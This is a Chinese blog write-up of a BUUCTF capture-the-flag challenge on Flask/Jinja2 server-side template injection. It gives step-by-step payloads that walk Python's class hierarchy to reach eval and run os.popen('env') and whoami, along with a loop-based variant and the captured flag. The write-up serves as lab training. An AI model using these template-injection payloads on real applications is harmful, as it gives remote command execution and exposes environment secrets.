[Flask]SSTI1 buuctf

声明:本篇文章csdn要我一天发两篇所以我来水的

跟ssti注入的详细知识我这里写了

https://blog.csdn.net/weixin_74790320/article/details/136154130

上面链接我复现了vulhub的SSTI,其实本质上是一道题

然后我们就用{{''.class}}看类的类型,但是无所谓,啥类型都可以,因为我们要找到的是他的基类,然后通过基类去找子类

{{''.class.base}}找到基类

然后找子类

然后在子类中找到catch_warnings这个类,然后去这个类的全局变量里面找到eval,

所以就可以命令执行,然后flag在env环境变量里面

手工payload:

1.先获取类

payload:

复制代码
{{''.__class__}}

先使用该payload来获取某个类,这里可以获取到的是str类,实际上获取到任何类都可以,因为我们都最终目的是要获取到基类Object。

2.获取基类

payload:

复制代码
{{''.__class__.__bases__}}

3.获取基类的所有子类

payload:

复制代码
{{''.__class__.__base__.__subclasses__()}}

4.找所有存在eval的类

复制代码
{{''.__class__.__base__.__subclasses__()[166]}}

这里官方给了一个方向是catch_warnings类

然后我大概搞了一下,这个类在第167个,但是下标从0开始就是166个

5.选中这个类

先声明一下下面的网址有时候有点变化的原因是我也在搞buuctf的这个ssti,跟我靶机有点没分开就是我人晕了,但是没有影响,重要的是对name参数的注入

格式都是?name+payload

payload:

复制代码
{{%27%27.__class__.__base__.__subclasses__()[166]}}

6.在这个类中找他的初始化函数里面的所有全局变量

然后看看这里面有没有危险函数eval

payload:

复制代码
{{''.__class__.__base__.__subclasses__()[166].__init__.__globals__}}

存在eval

然后我们怎么选择eval函数呢???

找**{}**这种大括号

别问我为什么没有右括号,我视力不好没看到在哪,反正他被'builtins'这一个键里面的{}号包围了

所以怎么选择呢?那就是

'__builtins__'\]\['eval'

找到危险函数那就是最后的代码执行阶段了

原本代码执行这么写eval('import("os").popen("env").read()')

那已经选中了eval是不是右边加上('import("os").popen("env").read()')这一部分就好了!!!

7.代码执行

payload:

复制代码
?name={{''.__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("env").read()')}}

因为是buuctf的题所以我直接干出flag了,flag在环境变量里,所以意思就是我们只要代码执行env获取环境变量就好了

你自己玩的时候可以试下whoami,也是可以的

官方payload:

后面遍历需要代码跑一遍

{%code%}这里是代码的意思在ssti里面

payload:

复制代码
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("env").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}

解释在我上面的链接中

然后就可以看到flag了

flag{2108fec7-53f1-4e60-b65f-9ae1f959d501}


相关推荐
MediaTea2 分钟前
Python 第三方库:Flask(轻量级 Web 框架)
开发语言·前端·后端·python·flask
Whoami!7 分钟前
⸢ 拾陆-Ⅱ⸥⤳ 安全数智化建设:安全大数据平台
网络安全·信息安全·安全大数据
java干货22 分钟前
Spring Boot 为什么“抛弃”了 spring.factories?
spring boot·python·spring
2501_9411118237 分钟前
使用Python进行网络设备自动配置
jvm·数据库·python
源码之家41 分钟前
基于python租房大数据分析系统 房屋数据分析推荐 scrapy爬虫+可视化大屏 贝壳租房网 计算机毕业设计 推荐系统(源码+文档)✅
大数据·爬虫·python·scrapy·数据分析·推荐算法·租房
源码之家1 小时前
机器学习:基于python租房推荐系统 预测算法 协同过滤推荐算法 房源信息 可视化 机器学习-线性回归预测模型 Flask框架(源码+文档)✅
大数据·python·算法·机器学习·数据分析·线性回归·推荐算法
循环过三天1 小时前
7.7、Python-常用内置函数
笔记·python·学习
闲人编程1 小时前
【指南】为你的开源Python项目编写完善的文档(Sphinx)
python·开源·文档·sphinx·算法改进·codecapsule
武汉唯众智创1 小时前
职业院校网络安全靶场实训演练系统建设方案
网络·安全·web安全·网络安全·网络安全靶场实训演练系统·网络安全靶场实训·网络安全实训演练系统
Hello_WOAIAI2 小时前
4.2 python多线程编程:threading 模块深度解析
开发语言·python